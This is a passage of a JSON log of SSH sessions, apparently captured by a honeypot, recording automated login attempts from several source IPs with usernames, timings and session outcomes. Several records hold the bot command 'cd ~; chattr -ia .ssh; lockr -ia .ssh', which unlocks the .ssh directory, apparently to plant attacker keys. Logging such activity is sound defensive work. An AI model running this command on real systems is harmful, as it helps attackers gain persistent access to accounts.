  "name": "grassy-jovial-bushbaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "34.175.118.185",
  "src_port": 33924,
  "username": "tata",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T05:41:50.778659+00:00",
  "ended_at": "2026-08-23T05:41:52.029049+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "097ea1c4-11ca-406e-9875-ab51f24701ac",
  "name": "fabled-ancient-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "34.175.118.185",
  "src_port": 33112,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T05:41:48.553009+00:00",
  "ended_at": "2026-08-23T05:41:49.287387+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7fd70e13-67e7-4b17-8d13-707e7600a154",
  "name": "jaunty-hardy-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "34.175.118.185",
  "src_port": 41128,
  "username": "username1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T05:39:20.267353+00:00",
  "ended_at": "2026-08-23T05:39:22.272407+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "35347a32-dca3-4bac-bfa3-5038e4218c7f",
  "name": "cheerful-peaty-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "136.232.11.10",
  "src_port": 56328,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T05:37:55.924891+00:00",
  "ended_at": "2026-08-23T05:37:56.874576+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b3438cd5-92f4-4979-828b-fab7923d47ac",
  "name": "patient-mottled-goose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "34.175.118.185",
  "src_port": 37420,
  "username": "vipin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T05:34:47.996469+00:00",
  "ended_at": "2026-08-23T05:34:49.743599+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d0bc5787-46a5-4e4a-8fcb-9ae66d4739cf",
  "name": "earnest-rambling-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.102.98.53",
  "src_port": 49848,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 65,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T04:52:11.093291+00:00",
  "ended_at": "2026-08-23T04:52:11.099503+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3537
 },
 {
  "id": "ef90bd0e-bde9-422c-89e3-0d80495407f1",
  "name": "fabled-vaulted-gharial",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.102.98.53",
  "src_port": 49872,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T04:51:59.551627+00:00",
  "ended_at": "2026-08-23T04:51:59.850622+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6e00727a-7f53-4aa1-82dd-4e6954b1d011",
  "name": "stoic-orderly-gharial",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.102.98.53",
  "src_port": 49858,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T04:51:54.136283+00:00",
  "ended_at": "2026-08-23T04:51:55.920571+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b070c6ad-c598-4e1a-8ec7-501571955d77",
  "name": "pleasant-amiable-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.102.98.53",
  "src_port": 49850,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T04:51:53.479306+00:00",
  "ended_at": "2026-08-23T04:51:54.006326+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d111b4a5-baf2-40f8-9454-ca480938734a",
  "name": "crystal-crisp-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.102.98.53",
  "src_port": 59846,
  "username": "teste",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T04:49:14.437147+00:00",
  "ended_at": "2026-08-23T04:49:15.286221+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "183f05ce-371b-4bc8-a0f4-827bda80b046",
  "name": "wry-whispering-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.102.98.53",
  "src_port": 45614,
  "username": "alex",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T04:46:51.221393+00:00",
  "ended_at": "2026-08-23T04:46:52.852138+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "65340584-290f-46f8-bb17-46d1d4700f4f",
  "name": "somber-pleasant-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.102.98.53",
  "src_port": 38394,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T04:43:53.819541+00:00",
  "ended_at": "2026-08-23T04:43:55.157257+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ef9be64f-5e8e-4a96-9bca-4e987a8034c4",
  "name": "proud-watchful-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "159.223.97.218",
  "src_port": 34128,
  "username": "reporting",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 50,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T04:19:17.313792+00:00",
  "ended_at": "2026-08-23T04:19:17.317810+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3514
 },
 {
  "id": "32b0551e-1ef0-496c-9289-6b9d58bb5773",
  "name": "quartz-ashen-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "159.223.97.218",
  "src_port": 50762,
  "username": "reporting",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T04:19:05.499732+00:00",
  "ended_at": "2026-08-23T04:19:05.790133+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7e3de16f-b16c-4b5e-ab2b-31897e640f0a",
  "name": "vaulted-regal-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "159.223.97.218",
  "src_port": 34156,
  "username": "reporting",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T04:19:01.244848+00:00",
  "ended_at": "2026-08-23T04:19:02.121208+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c1d445b9-f4e4-4b07-b175-2ea174490567",
  "name": "vivid-northern-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "159.223.97.218",
  "src_port": 34144,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T04:19:00.248853+00:00",
  "ended_at": "2026-08-23T04:19:01.145511+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c4c003e-5b4e-4a64-abe5-7b158176b725",
  "name": "quaint-lucid-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "159.223.97.218",
  "src_port": 53622,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T04:16:53.362619+00:00",
  "ended_at": "2026-08-23T04:16:53.949457+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3bf4564b-bd7d-4aaf-8e80-b0da97ae254e",
  "name": "indigo-hidden-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "159.223.97.218",
  "src_port": 43970,
  "username": "dev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T04:13:50.759000+00:00",
  "ended_at": "2026-08-23T04:13:51.416205+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0af38a76-50aa-4aa0-8784-af1dc7506ab5",
  "name": "indigo-bronzed-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.143.231.24",
  "src_port": 53226,
  "username": "smart",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 246,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T02:37:41.144862+00:00",
  "ended_at": "2026-08-23T02:37:41.211971+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3326
 },
 {
  "id": "75995dd5-99cd-4c16-90f6-dd5dc7dd9c65",
  "name": "courtly-salty-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.143.231.24",
  "src_port": 56210,
  "username": "smart",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T02:37:24.675527+00:00",
  "ended_at": "2026-08-23T02:37:24.875698+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2560a267-2a7b-450b-b4d6-efd7d16eed4b",
  "name": "cheerful-dusty-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.143.231.24",
  "src_port": 53236,
  "username": "smart",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T02:37:16.030018+00:00",
  "ended_at": "2026-08-23T02:37:17.632475+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3b6f14f3-9db9-4786-9f97-77eaacea67c6",
  "name": "electric-meadow-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.143.231.24",
  "src_port": 53230,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T02:37:14.339887+00:00",
  "ended_at": "2026-08-23T02:37:15.546609+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c1640e30-96a3-4aa5-bcef-f3d53aaa4f17",
  "name": "ruddy-seaward-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.143.231.24",
  "src_port": 51096,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T02:34:48.403517+00:00",
  "ended_at": "2026-08-23T02:34:49.106740+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5a03543a-d89b-483c-aaaf-cff5364f3eae",
  "name": "thrifty-verdant-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.143.231.24",
  "src_port": 33746,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T02:28:00.993152+00:00",
  "ended_at": "2026-08-23T02:28:01.946730+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "075ba4d7-f7ae-446d-b109-6a00f882d390",
  "name": "flinty-dusky-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "152.32.239.90",
  "src_port": 35918,
  "username": "mourad",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T02:27:20.380862+00:00",
  "ended_at": "2026-08-23T02:27:20.974616+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "44209e3f-5412-4815-bc23-09522c1769d6",
  "name": "oaken-cosmic-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.182.132.154",
  "src_port": 54508,
  "username": "jitendra",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 686,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T01:13:57.416629+00:00",
  "ended_at": "2026-08-23T01:13:57.629315+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3956
 },
 {
  "id": "ca15a527-242c-41b2-9f04-d4dc3e5207ec",
  "name": "western-rugged-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.182.132.154",
  "src_port": 45598,
  "username": "jitendra",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T01:13:37.855019+00:00",
  "ended_at": "2026-08-23T01:13:38.265023+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4be62583-3b56-47ef-8727-bae07b3083e8",
  "name": "upland-forlorn-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.182.132.154",
  "src_port": 54536,
  "username": "jitendra",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T01:13:21.244500+00:00",
  "ended_at": "2026-08-23T01:13:23.039409+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2c13f034-17ee-4ed9-9487-7fdcf6c5d8cd",
  "name": "serene-brisk-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.182.132.154",
  "src_port": 54520,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T01:13:18.246123+00:00",
  "ended_at": "2026-08-23T01:13:19.881839+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b7ab2320-a03a-499b-a3c8-fd18f942d1f7",
  "name": "reedy-freckled-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.182.132.154",
  "src_port": 36984,
  "username": "monitor",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T01:10:44.817214+00:00",
  "ended_at": "2026-08-23T01:10:46.461446+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0844521b-6fe2-405e-8725-531adb115801",
  "name": "thawing-jagged-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "213.91.234.180",
  "src_port": 54362,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 357,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T01:09:13.082039+00:00",
  "ended_at": "2026-08-23T01:09:13.187119+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3866
 },
 {
  "id": "7c4403fa-1e88-4641-802b-410d467c4d63",
  "name": "austere-autumn-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "213.91.234.180",
  "src_port": 52436,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T01:08:58.459646+00:00",
  "ended_at": "2026-08-23T01:08:58.782006+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "057039ee-1da0-4888-830b-24dffa57dbd2",
  "name": "nautical-woven-rook",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "213.91.234.180",
  "src_port": 54382,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T01:08:48.393077+00:00",
  "ended_at": "2026-08-23T01:08:49.264690+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f3c68288-2dee-4ff4-a6d0-a2755f446288",
  "name": "painted-hardy-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "213.91.234.180",
  "src_port": 54366,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T01:08:46.239683+00:00",
  "ended_at": "2026-08-23T01:08:47.685259+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f92e44a1-8695-427d-8536-8e62188cfe49",
  "name": "lively-muted-gharial",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.182.132.154",
  "src_port": 40026,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T01:08:07.074134+00:00",
  "ended_at": "2026-08-23T01:08:08.292093+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "17f76ef3-7802-43be-83d0-62dae86f1d20",
  "name": "umber-balmy-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "213.91.234.180",
  "src_port": 60392,
  "username": "adminuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T01:06:33.179681+00:00",
  "ended_at": "2026-08-23T01:06:34.318432+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4332bef2-78f7-46a7-8508-6d1695eca4d6",
  "name": "fickle-frugal-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.182.132.154",
  "src_port": 34226,
  "username": "ld",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T01:05:05.533043+00:00",
  "ended_at": "2026-08-23T01:05:06.387989+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "19653703-1a28-447f-a00b-05fc957e07ec",
  "name": "rustic-hardy-bobcat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.63.108.25",
  "src_port": 56652,
  "username": "frank",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T01:03:02.828585+00:00",
  "ended_at": "2026-08-23T01:03:04.096852+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cc74de65-7a30-4bbc-a2c3-36d751e56d1e",
  "name": "creaky-inland-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "213.91.234.180",
  "src_port": 58820,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T01:02:33.660146+00:00",
  "ended_at": "2026-08-23T01:02:35.184585+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4a0c9132-6dee-4f72-9d68-d4faa24a1033",
  "name": "gleaming-placid-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "171.25.158.70",
  "src_port": 57626,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 373,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T00:58:21.019162+00:00",
  "ended_at": "2026-08-23T00:58:21.109836+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3397
 },
 {
  "id": "740f17d6-58db-44a4-8699-b90eb4629f3a",
  "name": "misty-quiet-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.25.158.70",
  "src_port": 52390,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T00:58:06.895674+00:00",
  "ended_at": "2026-08-23T00:58:07.292565+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4e7c95fb-1b24-4f54-86a6-6ab7f884741f",
  "name": "earnest-tender-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.25.158.70",
  "src_port": 57652,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T00:57:56.412337+00:00",
  "ended_at": "2026-08-23T00:57:58.001315+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0c835878-1819-442d-b18d-c3db9ffa8090",
  "name": "jovial-zealous-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.25.158.70",
  "src_port": 57640,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T00:57:54.097457+00:00",
  "ended_at": "2026-08-23T00:57:55.531312+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ed8cc98a-d8df-4e26-ab3f-79d39410a8a2",
  "name": "lofty-bold-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.25.158.70",
  "src_port": 36984,
  "username": "ark",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T00:55:48.199506+00:00",
  "ended_at": "2026-08-23T00:55:50.191813+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0abe624e-4936-41e2-bd4f-f9862dabf9ca",
  "name": "shifting-lonesome-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.25.158.70",
  "src_port": 41656,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T00:53:33.935432+00:00",
  "ended_at": "2026-08-23T00:53:35.406132+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f0fc1db9-8ac6-4953-9009-0fdc9bf1b9bc",
  "name": "nautical-smoky-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.25.158.70",
  "src_port": 37052,
  "username": "frontend",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T00:48:51.493863+00:00",
  "ended_at": "2026-08-23T00:48:52.994080+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "50d8261c-2b8a-4d6e-b889-bcc7ce510f56",
  "name": "merry-prickly-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "35.237.94.18",
  "src_port": 38132,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 178,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T00:28:27.222996+00:00",
  "ended_at": "2026-08-23T00:28:27.239147+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3280
 },
 {
  "id": "68e45dc7-6d69-423b-9f92-4d4c7011a0b4",
  "name": "thorny-sullen-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "35.237.94.18",
  "src_port": 41608,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T00:28:12.956598+00:00",
  "ended_at": "2026-08-23T00:28:13.249714+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ca53e19-333a-4a9f-89b3-d4b3f41e5c4a",
  "name": "primal-tawny-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "35.237.94.18",
  "src_port": 39090,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T00:28:05.964951+00:00",
  "ended_at": "2026-08-23T00:28:06.943706+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "25e4eaef-ddee-407c-8ccc-bb2a7f6f37ec",
  "name": "candid-lucid-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "35.237.94.18",
  "src_port": 38382,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T00:28:04.043653+00:00",
  "ended_at": "2026-08-23T00:28:05.681636+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "045c851b-3f7c-4903-817f-ab53efe203e2",
  "name": "inland-thrifty-jerboa",
  "protocol": "ssh",
